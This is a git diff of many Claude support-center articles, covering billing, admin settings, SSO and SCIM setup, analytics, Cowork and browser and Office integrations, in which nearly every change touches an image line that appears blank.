Owners and Primary Owners can also set individual monthly spend limits for each member by finding **Spend limits by user** and clicking the "..." button next to the user, then "Edit limit."
-
+
Enter the amount and click "Set limit." Alternatively, selecting "Set to unlimited" will remove that member's monthly spend limit (they will still be subject to any organization or seat-level spend limits).
-
+
This allows owners fine control over usage credits, so you can set limits for different members based on their roles or individual needs. Once a user reaches their defined spend limit, this will automatically pause their usage credits until the end of the month. They will need to wait for their usage limits to reset before using Claude again.
diff --git a/content/support/12012173-get-started-with-claude-in-chrome.md b/content/support/12012173-get-started-with-claude-in-chrome.md
index a105e9dee..a012d3af9 100644
--- a/content/support/12012173-get-started-with-claude-in-chrome.md
+++ b/content/support/12012173-get-started-with-claude-in-chrome.md
@@ -34,7 +34,7 @@ Follow these steps to enable the Claude in Chrome connector in your desktop app:
4. Toggle the connector on, then download and install the extension if you haven’t already.
-
+
Completing these steps will add Claude in Chrome to the “Connectors” drop-down on your chats with Claude. This is disabled by default, so you’ll need to enable it manually for each conversation.
diff --git a/content/support/12111783-create-and-edit-files-with-claude.md b/content/support/12111783-create-and-edit-files-with-claude.md
index 031f86b5c..81bd4a9ce 100644
--- a/content/support/12111783-create-and-edit-files-with-claude.md
+++ b/content/support/12111783-create-and-edit-files-with-claude.md
@@ -48,7 +48,7 @@ These capabilities make it easy to produce professional documents by simply chat
To give Claude access to external data sources, toggle **Allow network egress** on:
-
+
### Enabling on Claude Mobile
@@ -66,11 +66,11 @@ Team and Enterprise organization owners can control network access settings in *
- **Allow network egress to package managers and specific domains:** Claude can access package managers plus additional domains you specify. Add domains individually to whitelist specific resources your organization needs:
-
+
**All domains:** Claude has full internet access except for domains on Anthropic's legal blocklist. While this provides maximum flexibility for file creation and analysis tasks, it’s also the riskiest option. Please review the **[security considerations below](#h_0ee9d698a1)** before enabling “All domains”:
-
+
---
diff --git a/content/support/12157520-claude-code-usage-analytics.md b/content/support/12157520-claude-code-usage-analytics.md
index 7971b9f43..9770ada41 100644
--- a/content/support/12157520-claude-code-usage-analytics.md
+++ b/content/support/12157520-claude-code-usage-analytics.md
@@ -50,7 +50,7 @@ The **Usage** tab displays the following metrics for your organization. Data on
- **Top commands**: The Claude Code commands used most often across your organization.
-
+
### User-level metrics
diff --git a/content/support/12260368-use-incognito-chats.md b/content/support/12260368-use-incognito-chats.md
index 1c2850fee..cc78d9abb 100644
--- a/content/support/12260368-use-incognito-chats.md
+++ b/content/support/12260368-use-incognito-chats.md
@@ -30,7 +30,7 @@ Incognito chats are temporary conversations that aren't saved to your chat histo
When starting a new chat with Claude outside of a project, you'll see a ghost icon in the upper right corner of your screen:
-
+
1. Click the ghost icon to enable incognito mode.
diff --git a/content/support/12293051-use-claude-in-xcode.md b/content/support/12293051-use-claude-in-xcode.md
index d84247ca7..d73c7f451 100644
--- a/content/support/12293051-use-claude-in-xcode.md
+++ b/content/support/12293051-use-claude-in-xcode.md
@@ -34,7 +34,7 @@ To start using Claude in Xcode:
3. Log in with your Claude account.
-
+
## Usage limits
diff --git a/content/support/12429409-manage-usage-credits-for-paid-claude-plans.md b/content/support/12429409-manage-usage-credits-for-paid-claude-plans.md
index 4772f95cf..fc91962ee 100644
--- a/content/support/12429409-manage-usage-credits-for-paid-claude-plans.md
+++ b/content/support/12429409-manage-usage-credits-for-paid-claude-plans.md
@@ -46,7 +46,7 @@ To enable usage credits on your paid Claude plan:
8. You can also enable auto-reload to automatically make a purchase when your balance falls below a threshold you set:
-
+
**Note:** There is a daily redemption limit of $2000.
diff --git a/content/support/12461605-use-claude-in-slack.md b/content/support/12461605-use-claude-in-slack.md
index adf3c6343..4b312af9b 100644
--- a/content/support/12461605-use-claude-in-slack.md
+++ b/content/support/12461605-use-claude-in-slack.md
@@ -28,7 +28,7 @@ Claude in Slack gives you AI assistance right where your team collaborates. This
6. Access previous conversations by clicking the clock icon.
-
+
## Mention @Claude in a thread or channel
diff --git a/content/support/12466728-troubleshoot-claude-error-messages.md b/content/support/12466728-troubleshoot-claude-error-messages.md
index 7c5ea715b..b85a47181 100644
--- a/content/support/12466728-troubleshoot-claude-error-messages.md
+++ b/content/support/12466728-troubleshoot-claude-error-messages.md
@@ -58,4 +58,4 @@ Capacity issues will not appear on our status page because they represent normal
Service incidents are disruptions where Claude is unavailable or significantly degraded for all or most users. These represent actual technical problems with our systems. To check for confirmed incidents, visit status.claude.com, where you'll find real-time updates on scope, impact, and resolution progress for any active incidents.
-
\ No newline at end of file
+
\ No newline at end of file
diff --git a/content/support/12512180-use-skills-in-claude.md b/content/support/12512180-use-skills-in-claude.md
index 0f5b7e578..bd3ee6b12 100644
--- a/content/support/12512180-use-skills-in-claude.md
+++ b/content/support/12512180-use-skills-in-claude.md
@@ -164,7 +164,7 @@ To remove a custom skill you've uploaded:
4. To delete the custom skill entirely, click the "..." button next to the toggle, then select "Delete":
- 
+ 
5. Click "Delete" in the confirmation prompt.
diff --git a/content/support/12592343-enabling-and-using-the-desktop-extension-allowlist.md b/content/support/12592343-enabling-and-using-the-desktop-extension-allowlist.md
index 755885e50..bed74005d 100644
--- a/content/support/12592343-enabling-and-using-the-desktop-extension-allowlist.md
+++ b/content/support/12592343-enabling-and-using-the-desktop-extension-allowlist.md
@@ -20,11 +20,11 @@ The desktop extension allowlist is disabled by default, so an organization Owner
4. Switch to the "Desktop" tab:
-
+
5. Toggle **Allowlist** on:
-
+
## What happens after enabling the allowlist?
@@ -42,7 +42,7 @@ Consider completing the allowlist setup during off-hours to minimize disruption
**Important:** The allowlist requires Claude Desktop version 0.13.91 or higher, so users should update the desktop app by clicking “Claude”, then either “Check for updates” or “Restart to update to Claude 0.13.91”:
-
+
## Managing allowed extensions
@@ -60,7 +60,7 @@ After enabling the allowlist, you can choose which extensions to allow:
If you want to remove an extension from the allowlist, click the “...” button and “Remove from allowlist.”
-
+
## Uploading custom extensions
diff --git a/content/support/12618689-claude-code-on-the-web.md b/content/support/12618689-claude-code-on-the-web.md
index f29cf8db8..4c7679962 100644
--- a/content/support/12618689-claude-code-on-the-web.md
+++ b/content/support/12618689-claude-code-on-the-web.md
@@ -10,7 +10,7 @@ This feature works with repositories you may not have on your local machine. You
Claude Code for web enables asynchronous development workflows. With Claude Code in your terminal or editor, you typically work synchronously: you make a request, wait for Claude to respond, review the changes, then make another request. Synchronous work like this gives you fine-grained control but requires your attention throughout the process. Claude Code on the web handles this differently: you can assign a larger task, let Claude work independently, and return later to review the completed work.
-
+
You can also run multiple tasks in parallel. Since each task runs in its own isolated environment, you can have Claude working on several different issues or repositories simultaneously. Each task proceeds independently and creates its own pull request when complete. More than one task can work on the same repository at the same time.
@@ -18,13 +18,13 @@ You can also run multiple tasks in parallel. Since each task runs in its own iso
When you start a task, Claude Code on the web creates an isolated virtual machine for your work. Your GitHub repository is cloned into this environment, which comes pre-configured with common development tools and language ecosystems.
-
+
Claude prepares the environment by running any setup commands you've defined in your repository's configuration. This includes installing dependencies, setting up databases, or running other initialization steps your project needs. If your task requires network access, maybe to install packages or fetch data, you can configure the level of internet access the environment has.
Once the environment is ready, Claude begins working on your task. Claude reads your code, makes changes, writes tests, and runs commands to verify the work. You can monitor progress and provide guidance through the web interface if needed.
-
+
When Claude completes the task, it pushes the changes to a new branch in your GitHub repository. You receive a notification and can review the changes, then create a pull request directly from the interface. The pull request includes all of Claude's work, ready for your review and any additional changes you want to make.
diff --git a/content/support/12626668-use-quick-entry-with-claude-desktop-on-mac.md b/content/support/12626668-use-quick-entry-with-claude-desktop-on-mac.md
index 6c177962e..7082d6edf 100644
--- a/content/support/12626668-use-quick-entry-with-claude-desktop-on-mac.md
+++ b/content/support/12626668-use-quick-entry-with-claude-desktop-on-mac.md
@@ -40,7 +40,7 @@ When you first open the updated version of Claude Desktop, you'll see a prompt t
Once enabled, double-tapping Option will open a text box where you can type your message and start a new chat. You can also click "New chat" to see your five most recent conversations.
-
+
### Enable the voice shortcut (optional)
diff --git a/content/support/12650343-use-claude-for-excel.md b/content/support/12650343-use-claude-for-excel.md
index 483c07358..be3c2d6ee 100644
--- a/content/support/12650343-use-claude-for-excel.md
+++ b/content/support/12650343-use-claude-for-excel.md
@@ -330,7 +330,7 @@ Users can approve all of Claude’s actions via a confirmation pop-up that appea
- System information: REGISTER.ID, RTD, INFO
-
+
While we continue to develop our offerings and improve safety measures to reduce these risks, users should exercise caution when using Claude for Excel and should not use it with spreadsheets from external, untrusted sources.
diff --git a/content/support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md b/content/support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md
index b87eebc86..5c396c8a6 100644
--- a/content/support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md
+++ b/content/support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md
@@ -22,7 +22,7 @@ This page includes the following analytics:
- Sessions in Cowork
-
+
### Who’s using Claude?
@@ -34,7 +34,7 @@ This page includes the following analytics:
Use the dropdown on the **Active members and assigned seats** chart to filter by product, including Claude Design.
-
+
### How are they using Claude?
@@ -48,9 +48,9 @@ Use the dropdown on the **Active members and assigned seats** chart to filter by
- How agentic is their work? (beta)
-
+
-
+
### What are the results?
@@ -66,7 +66,7 @@ Use the dropdown on the **Active members and assigned seats** chart to filter by
- Estimated time saved
-
+
### How much is Claude costing?
@@ -82,9 +82,9 @@ This section includes the following analytics:
- Spend by model (month-to-date, quarter-to-date, year-to-date, 1 year)
-
+
-
+
## Export a spend report
@@ -160,7 +160,7 @@ Navigate to **[Analytics > Claude Chat](https://claude.ai/analytics/usage)** to
- Top members by chats
-
+
### Projects
@@ -172,7 +172,7 @@ Navigate to **[Analytics > Claude Chat](https://claude.ai/analytics/usage)** to
- Top members by project usage
-
+
### Artifacts
@@ -182,7 +182,7 @@ Navigate to **[Analytics > Claude Chat](https://claude.ai/analytics/usage)** to
- Top 10 users by artifacts generated (month-to-date, quarter-to-date, year-to-date, 1 year)
-
+
---
@@ -278,7 +278,7 @@ Navigate to **[Analytics > Cowork](https://claude.ai/analytics/cowork)** to view
- Daily, weekly, and monthly active Cowork users
-
+
**Note:** Cowork analytics are available alongside Chat and Claude Code data in the **[Analytics API](https://platform.claude.com/docs/en/manage-claude/analytics-api)**.
@@ -288,7 +288,7 @@ Navigate to **[Analytics > Cowork](https://claude.ai/analytics/cowork)** to view
When your admin turns on individual usage analytics, any member of the organization can see their own usage broken down by product, model, and skill, along with where they stand against any spend limits set for them. Individual usage analytics are available in **[Settings > Usage](https://claude.ai/settings/usage)**.
-
+
---
diff --git a/content/support/12902446-claude-in-chrome-permissions-guide.md b/content/support/12902446-claude-in-chrome-permissions-guide.md
index 54a963683..c41481d03 100644
--- a/content/support/12902446-claude-in-chrome-permissions-guide.md
+++ b/content/support/12902446-claude-in-chrome-permissions-guide.md
@@ -22,7 +22,7 @@ Claude in Chrome uses a multi-layered permission system to give you control over
Choose "Manually approve" to have Claude create a plan from your prompt, which you can approve and allow Claude to execute. The plan will specify which websites you’re allowing Claude to access, as well as the approach it will follow:
-
+
Note that Claude will only use the websites listed in the plan, so you’ll need to manually approve any additional access requests.
@@ -50,7 +50,7 @@ When you choose "Skip all approvals," Claude doesn't pause to ask, and nothing c
There are some websites on which Claude requires approval for every action. If you navigate to one of these sites, a **Permission required** prompt will appear in the extension side panel, Claude Cowork, or Claude Code where Claude will ask for permission before accessing the page or taking any action.
-
+
### Permission options
diff --git a/content/support/12997503-team-plan-billing-faqs.md b/content/support/12997503-team-plan-billing-faqs.md
index 50be0cff7..a81152c2f 100644
--- a/content/support/12997503-team-plan-billing-faqs.md
+++ b/content/support/12997503-team-plan-billing-faqs.md
@@ -18,7 +18,7 @@ Your organization's billing address determines where your invoices are sent. You
If you want to use a name other than the one tied to your payment method, an organization Owner should check the "Use a different name on invoices" box when adding or updating your payment method in **[Organization settings > Billing](https://claude.ai/admin-settings/billing)**:
-
+
## When will I be billed?
diff --git a/content/support/13132885-set-up-single-sign-on-sso.md b/content/support/13132885-set-up-single-sign-on-sso.md
index e7c8e6e85..f09bee984 100644
--- a/content/support/13132885-set-up-single-sign-on-sso.md
+++ b/content/support/13132885-set-up-single-sign-on-sso.md
@@ -42,7 +42,7 @@ You can verify multiple domains for a single organization, but all domains must
3. Enter the domain(s) you want to verify in the **Update organization email domains** modal and click the “+” button:
-
+
4. Click “Save” when you’re finished adding domains.
@@ -50,7 +50,7 @@ You can verify multiple domains for a single organization, but all domains must
6. Enter your domain in the text box and click “Continue”:
-
+
7. The setup screen displays a TXT record. **Copy the full Value using the copy button**—it begins with `anthropic-domain-verification-` and is longer than what's visible in the box. In your DNS provider, add a TXT record with **Host/Name** set to `@` (the root of your domain) and **Value** set to the copied string. Add it alongside any existing TXT records; don't replace them. The value is case-sensitive, so paste it exactly.
@@ -76,7 +76,7 @@ Clicking "Refresh" re-checks your DNS; it won't show Verified until the publishe
If the record is correct and propagated but the status still shows Pending, contact Support.
-
+
**Note:** Once your domain is verified, you'll see a **Restrict organization creation** toggle under **Security** on the Organization and access organization settings page. Enable this if you want to prevent users from creating new Claude or Console organizations—including personal accounts—using your verified domains.
@@ -116,7 +116,7 @@ For IdP-specific setup instructions, see:
You can now choose to toggle on **Require SSO for Console** and/or **Require SSO for Claude,** on the **Organization and access** page, under the **Authentication** section:
-
+
When SSO is required, users must use the “Continue with SSO” option to log in to their Claude/Console accounts. When SSO is not required, they will have the option to choose “Continue with SSO” or “Continue with email.”
diff --git a/content/support/13133195-set-up-jit-or-scim-provisioning.md b/content/support/13133195-set-up-jit-or-scim-provisioning.md
index 53f490907..985041b8e 100644
--- a/content/support/13133195-set-up-jit-or-scim-provisioning.md
+++ b/content/support/13133195-set-up-jit-or-scim-provisioning.md
@@ -34,7 +34,7 @@ Use this table to help decide which provisioning mode is right for your organiza
Both JIT and SCIM can be combined with **Enable group mappings** to control role or seat tier assignment based on IdP group membership. If you select either of these options for your provisioning mode, **Enable group mappings** will appear within the **User provisioning** section:
-
+
### Available roles and seat tiers
@@ -118,7 +118,7 @@ Once your IdP is connected, continue to Step 3.
4. Toggle **Enable group mappings** on (if it’s not already):
-
+
5. In the **Enable group mappings** section, click “Add” next to each role and select the corresponding group from your IdP in the dropdown.
@@ -170,7 +170,7 @@ Verify you have enough seats purchased and available to add members to your org.
4. **For SCIM:** Click "Sync" to prompt an immediate sync, or wait for the automatic sync cycle:
-
+
### I lost Admin/Owner access after enabling group mappings
diff --git a/content/support/13163631-configuring-session-security-settings.md b/content/support/13163631-configuring-session-security-settings.md
index f2fa2e811..94bba4b3e 100644
--- a/content/support/13163631-configuring-session-security-settings.md
+++ b/content/support/13163631-configuring-session-security-settings.md
@@ -18,7 +18,7 @@ Session duration controls allow Enterprise and Console Admins to set a maximum s
5. Confirm your selection by clicking “Enable.”
-
+
### For Console Admins
@@ -32,7 +32,7 @@ Session duration controls allow Enterprise and Console Admins to set a maximum s
5. Confirm your selection by clicking “Enable.”
-
+
### What happens after enabling shortened session length?
@@ -50,7 +50,7 @@ You can change the session duration at any time by selecting a new value from th
- Sessions scheduled to expire beyond the new duration will have their expiration shortened accordingly.
-
+
## Disabling session length settings
diff --git a/content/support/13189465-log-in-to-your-claude-account.md b/content/support/13189465-log-in-to-your-claude-account.md
index 561b5d086..8b9d4838f 100644
--- a/content/support/13189465-log-in-to-your-claude-account.md
+++ b/content/support/13189465-log-in-to-your-claude-account.md
@@ -2,7 +2,7 @@
When you open Claude on a web browser ([claude.ai](http://claude.ai)), the desktop app, or a mobile app, you will see two different options for logging in to your Claude account.
-
+
## Continue with Google
diff --git a/content/support/13325567-account-management-faqs.md b/content/support/13325567-account-management-faqs.md
index daad4921a..b314ec40f 100644
--- a/content/support/13325567-account-management-faqs.md
+++ b/content/support/13325567-account-management-faqs.md
@@ -44,6 +44,6 @@ The email domain that was used to create your Team or Enterprise plan organizati
Owners can remove domains by opening up the same modal and clicking the trash can icon to the right of the domain:
-
+
While the account creator must use a business email address, you can add public domains like @gmail.com, @yahoo.com, and @hotmail.com as allowed domains for other members of your organization.
\ No newline at end of file
diff --git a/content/support/13345190-get-started-with-claude-cowork.md b/content/support/13345190-get-started-with-claude-cowork.md
index 346a1d695..dfd3d9492 100644
--- a/content/support/13345190-get-started-with-claude-cowork.md
+++ b/content/support/13345190-get-started-with-claude-cowork.md
@@ -176,7 +176,7 @@ To set global instructions:
3. Type your instructions in the text box and click "Save":
-
+
### Folder instructions
diff --git a/content/support/13346458-customizing-your-console-appearance-settings.md b/content/support/13346458-customizing-your-console-appearance-settings.md
index e5ca4884f..de882bd3f 100644
--- a/content/support/13346458-customizing-your-console-appearance-settings.md
+++ b/content/support/13346458-customizing-your-console-appearance-settings.md
@@ -8,4 +8,4 @@
3. Select from Light, System, or Dark under **Color mode**.
-
\ No newline at end of file
+
\ No newline at end of file
diff --git a/content/support/13371040-logging-in-to-your-console-account.md b/content/support/13371040-logging-in-to-your-console-account.md
index c9aa322d4..bc9c8bb2c 100644
--- a/content/support/13371040-logging-in-to-your-console-account.md
+++ b/content/support/13371040-logging-in-to-your-console-account.md
@@ -2,7 +2,7 @@
When you navigate to the [Claude Console](https://platform.claude.com), you will see two different options for logging in to your Console account.
-
+
## Continue with Google
diff --git a/content/support/13641943-visual-and-interactive-content.md b/content/support/13641943-visual-and-interactive-content.md
index 564e79598..b53003a73 100644
--- a/content/support/13641943-visual-and-interactive-content.md
+++ b/content/support/13641943-visual-and-interactive-content.md
@@ -18,7 +18,7 @@ Claude can show current weather conditions and forecasts when you ask about the
Claude automatically displays temperatures in Fahrenheit for US locations and Celsius for everywhere else.
-
+
Weather is powered by Google Maps ().
@@ -28,7 +28,7 @@ When you ask about recipes, Claude can display formatted recipe cards that are e
**Note:** Visual recipe cards are available on web and desktop only. On mobile, Claude provides recipe information as text in the conversation.
-
+
### Custom visuals
@@ -76,7 +76,7 @@ For example, if you ask Claude to help you plan a trip, it might ask you to:
This content appears at the bottom of the chat. You can still type a response if you prefer.
-
+
---
diff --git a/content/support/13756069-public-sector-faqs.md b/content/support/13756069-public-sector-faqs.md
index 4c544ed8d..72055eb18 100644
--- a/content/support/13756069-public-sector-faqs.md
+++ b/content/support/13756069-public-sector-faqs.md
@@ -6,7 +6,7 @@
Select your product based on both your technical/functional requirements, and also your compliance/security/deployment environment requirements. Here is a list of options:
-
+
### What is Claude for Government (C4G)?
diff --git a/content/support/13837433-manage-plugins-for-your-organization.md b/content/support/13837433-manage-plugins-for-your-organization.md
index ff725efe1..c716cdb6c 100644
--- a/content/support/13837433-manage-plugins-for-your-organization.md
+++ b/content/support/13837433-manage-plugins-for-your-organization.md
@@ -106,7 +106,7 @@ Your personal GitHub token is verified to confirm you have access, then Cowork u
An initial sync runs automatically when you connect a repository. After that, organization owners can opt-in to continued automatic updates per marketplace by going to **[Organization settings > Plugins](https://claude.ai/admin-settings/plugins)**, clicking the menu button in the upper right corner of the marketplace, then toggling "Sync automatically" on:
-
+
Enabling automatic sync creates a webhook on the connected repository. The person turning the toggle on must have admin-level access to that repository on GitHub. This is checked through their personal GitHub connection, which is separate from the Claude GitHub App installation. Without admin access, the page shows "Cannot access repository. Ensure the repository exists and the Claude GitHub App is installed," even when the App is installed correctly and manual updates work.
diff --git a/content/support/13837440-use-plugins-in-claude.md b/content/support/13837440-use-plugins-in-claude.md
index f362909a3..1736c6b80 100644
--- a/content/support/13837440-use-plugins-in-claude.md
+++ b/content/support/13837440-use-plugins-in-claude.md
@@ -40,7 +40,7 @@ In Cowork, open the "Cowork" tab first, then open **Customize**.
You can also upload a custom plugin file if you built one yourself or received one from a colleague. On Claude Desktop and in Cowork, plugins you add yourself are saved locally to your computer.
-
+
---
@@ -48,7 +48,7 @@ You can also upload a custom plugin file if you built one yourself or received o
Each plugin you install adds skills you can use while working with Claude. Type "/" or click the "+" button to see the available skills from your installed plugins, in chat and in Cowork. Click any skill to see its details.
-
+
---
diff --git a/content/support/13854387-schedule-recurring-tasks-in-claude-cowork.md b/content/support/13854387-schedule-recurring-tasks-in-claude-cowork.md
index 035b2fa87..f86f2c46a 100644
--- a/content/support/13854387-schedule-recurring-tasks-in-claude-cowork.md
+++ b/content/support/13854387-schedule-recurring-tasks-in-claude-cowork.md
@@ -52,7 +52,7 @@ There are two ways to create a scheduled task:
6. You can explicitly confirm you want to schedule the task when prompted by Claude by clicking “Schedule":
-
+
7. Claude will create and schedule your task, and it will be added to the **Scheduled tasks** page.
diff --git a/content/support/13892150-work-across-microsoft-365-apps.md b/content/support/13892150-work-across-microsoft-365-apps.md
index 9d84e6f3c..ace2a7771 100644
--- a/content/support/13892150-work-across-microsoft-365-apps.md
+++ b/content/support/13892150-work-across-microsoft-365-apps.md
@@ -34,13 +34,13 @@ Open each app and activate the add-in at least once before using the cross-app f
Go to **Settings** in each of the add-ins and toggle **Let Claude work across files** on:
-
+
**Note:** This setting is default on for Pro and Max plans and default off for Team and Enterprise plans.
You'll see connected file indicators when Excel, PowerPoint, Word, or Outlook files are linked to your session:
-
+
---
diff --git a/content/support/13930458-set-up-role-based-permissions-on-enterprise-plans.md b/content/support/13930458-set-up-role-based-permissions-on-enterprise-plans.md
index 694d8f4d0..a88cf89e6 100644
--- a/content/support/13930458-set-up-role-based-permissions-on-enterprise-plans.md
+++ b/content/support/13930458-set-up-role-based-permissions-on-enterprise-plans.md
@@ -66,7 +66,7 @@ Create roles that delegate parts of administration without granting the Owner ro
4. For each team or department, decide which features they need access to.
-
+
Remember: any feature you want to control per-group must be **enabled** at the organization level. If a feature is toggled off at the organization level, no custom role can grant access to it.
@@ -84,7 +84,7 @@ Create your custom roles before enabling any features or migrating members. This
3. Name the role and toggle the appropriate capabilities on the **Capabilities** tab, or choose "All capabilities" or "All generally available" to grant everything at once:
-
+
4. On the **Permissions** tab, set admin permissions for the role. See **Step 3**.
@@ -114,7 +114,7 @@ Set admin permissions on each role to delegate access to admin settings, like bi
3. Select the **Permissions** tab, between **Capabilities** and **Connectors**.
-
+
### **Set admin permissions**
@@ -154,7 +154,7 @@ Set connector permissions on each role to control which connectors, and which to
The default settings for new roles are permissive. When creating or modifying a role, confirm the settings on each tab to avoid granting unintended permissions.
-
+
### Set connector-level permissions
@@ -170,7 +170,7 @@ The **Connectors** tab lists an **All connectors** row at the top, followed by e
Choosing “Always allow,” “Needs approval,” or “Blocked” applies that level to every tool on the connector. The **All connectors** row works the same way one level up: it sets a baseline for every connector at once, including any connector you add later. Use it to set a role’s default, then override individual connectors.
-
+
### Set per-tool permissions
@@ -178,7 +178,7 @@ Set a connector to **Custom** to reveal its tools as individual rows. Each tool
Per-tool permissions let a role reach part of a connector. For example, with Jira set to **Custom**, its `search_issues` tool set to “Needs approval,” and every other Jira tool set to “Blocked,” members with the role can search Jira but nothing else. Claude only sees the tools you’ve granted, so asking it to create a ticket returns “I don’t have a tool for that” rather than an error.
-
+
### Review cross-role conflicts
@@ -186,7 +186,7 @@ Because connector permissions are additive across roles, blocking a connector in
If you have unsaved edits when you open a linked role, you’re asked to discard them first.
-
+
### Verify enforcement
@@ -236,13 +236,13 @@ Verify model access after you've migrated members to "Custom" roles. See **Step
4. Assign each group to the custom roles you created in step 2.
-
+
-
+
If you use SCIM directory sync, you can sync groups from your identity provider instead of creating them manually. For details on SCIM group sync, see **[Manage groups and group spend limits on Enterprise plans](https://support.claude.com/en/articles/13799932-manage-groups-and-group-spend-limits-on-enterprise-plans)**.
-
+
**Multiple organizations under the same parent organization:** Groups are managed at the parent organization level and propagate to all child organizations. You may see members from other organizations listed in a group—this doesn't mean they have access to your organization. Custom roles assigned to a group only grant capabilities to members who are part of your specific organization.
@@ -284,7 +284,7 @@ Use this path only if your organization already enabled group mappings for role
3. Save your changes. Members in those IdP groups are migrated to "Custom" roles on the next sync.
-
+
Members in IdP groups mapped to "Custom" roles follow the permissions of the custom roles assigned to their groups in Claude. Members in IdP groups mapped to User follow the organization-level capability settings. If a member is in groups across both mappings, "Custom" roles take precedence.
@@ -300,11 +300,11 @@ Use this path if your organization hasn’t enabled group mappings.
3. Use the bulk assignment tool in the Members table to change the selected members' role to "Custom."
-
+
-
+
-
+
We recommend migrating a pilot group first—one team or department—and verifying their access is correct before expanding to the rest of the organization.
@@ -340,9 +340,9 @@ Enabling a feature at the organization level doesn't mean everyone gets it—cus
Navigate to the “Usage” page to assign a per-user monthly spend limit to any group.
-
+
-
+
Note the following precedence rules:
diff --git a/content/support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md b/content/support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md
index 9de1ec082..e77591747 100644
--- a/content/support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md
+++ b/content/support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md
@@ -48,11 +48,11 @@ Follow these steps to get started:
5. You’ll land on a page describing the functionality. Click “Get started”:
-
+
6. On the next screen, you can give Claude access to your files and keep your computer awake by toggling those on:
-
+
7. Click “Finish setup.”
diff --git a/content/support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md b/content/support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md
index 602628fe3..67903c52d 100644
--- a/content/support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md
+++ b/content/support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md
@@ -22,23 +22,23 @@ Cowork is available for paid plans (Pro, Max, Team, Enterprise) on:
Find **Projects** in the left navigation panel and click the “+” button to see the three different ways to create a project:
-
+
### Start from scratch
Selecting “Start from scratch” allows you to set up a new folder with instructions and files:
-
+
### Import from a Claude project
After selecting “Import from project,” you’ll see a “Search projects in Chat…” field:
-
+
Clicking into the field will display a drop-down showing your recent projects, but you can also use it to search all your projects. After you select a chat project (bulk upload is not supported), you can name the new Cowork project and choose where to save it on your computer:
-
+
Clicking “Create” will transfer the files and instructions from your existing Claude project and create a new Cowork project.
@@ -46,11 +46,11 @@ Clicking “Create” will transfer the files and instructions from your existin
If you select “Use an existing folder,” you’ll be prompted to pick a file to use as context for the new Cowork project:
-
+
After selecting a folder, you can name the new Cowork project, choose where to save it on your computer, add instructions, and attach any additional files. Click “Create” to start using your new project:
-
+
---
diff --git a/content/support/14128542-let-claude-use-your-computer-in-cowork.md b/content/support/14128542-let-claude-use-your-computer-in-cowork.md
index f64ce9215..542d2a086 100644
--- a/content/support/14128542-let-claude-use-your-computer-in-cowork.md
+++ b/content/support/14128542-let-claude-use-your-computer-in-cowork.md
@@ -40,7 +40,7 @@ If your work involves a physical machine, Claude keeps working while you step aw
Claude asks for your permission before accessing each application. You’ll see a prompt and must approve before Claude can interact with that app. Some apps are off-limits by default.
-
+
Claude is trained to avoid risky operations—like transferring funds, modifying or deleting files, or handling sensitive data—and to flag signs of prompt injection. However, these safeguards aren't perfect, and Claude may occasionally act outside these boundaries.
@@ -128,7 +128,7 @@ To start using computer use:
3. Find the **Computer use** toggle and turn it on:
-
+
4. Open Cowork or Claude Code in the desktop app and start a session.
diff --git a/content/support/14499648-how-scim-sync-works-for-enterprise-organizations.md b/content/support/14499648-how-scim-sync-works-for-enterprise-organizations.md
index 6a445d72b..558e595c6 100644
--- a/content/support/14499648-how-scim-sync-works-for-enterprise-organizations.md
+++ b/content/support/14499648-how-scim-sync-works-for-enterprise-organizations.md
@@ -50,7 +50,7 @@ You can trigger a manual sync from two places in your admin settings.
2. Click "Check for updates" under **SCIM sync**:
-
+
3. Select whether to sync members, groups, or both.
@@ -62,7 +62,7 @@ You can trigger a manual sync from two places in your admin settings.
3. Select whether to sync members, groups, or both:
-
+
**Note:** If you trigger a manual sync while background changes are processing, your organization takes the most recent change for each member or group. If multiple changes are queued for the same member or group, you may need to resync again to make sure everything applies correctly.
diff --git a/content/support/14503613-sso-login.md b/content/support/14503613-sso-login.md
index b4a893eed..3bb4169a0 100644
--- a/content/support/14503613-sso-login.md
+++ b/content/support/14503613-sso-login.md
@@ -47,9 +47,9 @@ Before configuring your Identity Provider (IdP), you must verify ownership of yo
3. Wait for the DNS propagation. Once the platform detects the record, the domain status will update to “**Verified**.”
-
+
-
+
**Important:** Each domain can only have one identity provider. If multiple organizations share a single login domain, IT administrators from both organizations will be able to modify login settings. Contact **[Anthropic Support](https://claude.fedstart.com/support)** for assistance with multi-organization setups. For more details about multi-organization setups, see our **[SCIM provisioning guide](https://support.claude.com/en/articles/14503643-set-up-scim-in-claude-for-government)**.
@@ -77,7 +77,7 @@ Once your SAML application is set up in your IdP, provide Anthropic with the det
- Claims Information — Attribute mappings for user name and email.
-
+
**Tip:** Using a metadata XML file: Most IdPs let you download a metadata.xml file. Upload it on the identity settings page to auto-fill the Signing Certificate, IdP Entity ID, and SSO URL. Some IdPs (like Entra ID) also include claims information in the metadata file; if present, the system will suggest field mappings automatically.
diff --git a/content/support/14503643-set-up-scim-in-claude-for-government.md b/content/support/14503643-set-up-scim-in-claude-for-government.md
index 2023b86ea..7bf726618 100644
--- a/content/support/14503643-set-up-scim-in-claude-for-government.md
+++ b/content/support/14503643-set-up-scim-in-claude-for-government.md
@@ -41,7 +41,7 @@ With SCIM, login and provisioning are separate. Your IdP tells Anthropic who sho
**Important**: Store this key securely. It cannot be retrieved after you leave the page.
-
+
### Step 2: Configure SCIM in your Identity Provider
@@ -67,7 +67,7 @@ After enabling the integration in your IdP:
**Warning**: When you fully enable SCIM provisioning, any users who were **not** synced via SCIM will be removed from the organization. Confirm that all expected users appear in the sync before proceeding.
-
+
### Step 4: Map groups to roles and seat tiers
@@ -83,7 +83,7 @@ SCIM provisioning uses IdP groups to assign roles and seat tiers within Claude f
3. Save your mappings.
-
+
If you manage multiple organizations under a single parent (see below), each organization maintains its own role and seat tier mappings. Switch between organizations using the organization selector in the bottom-left corner of the page.
diff --git a/content/support/14503775-mcp-web-search.md b/content/support/14503775-mcp-web-search.md
index 4de053d83..5c3cb3282 100644
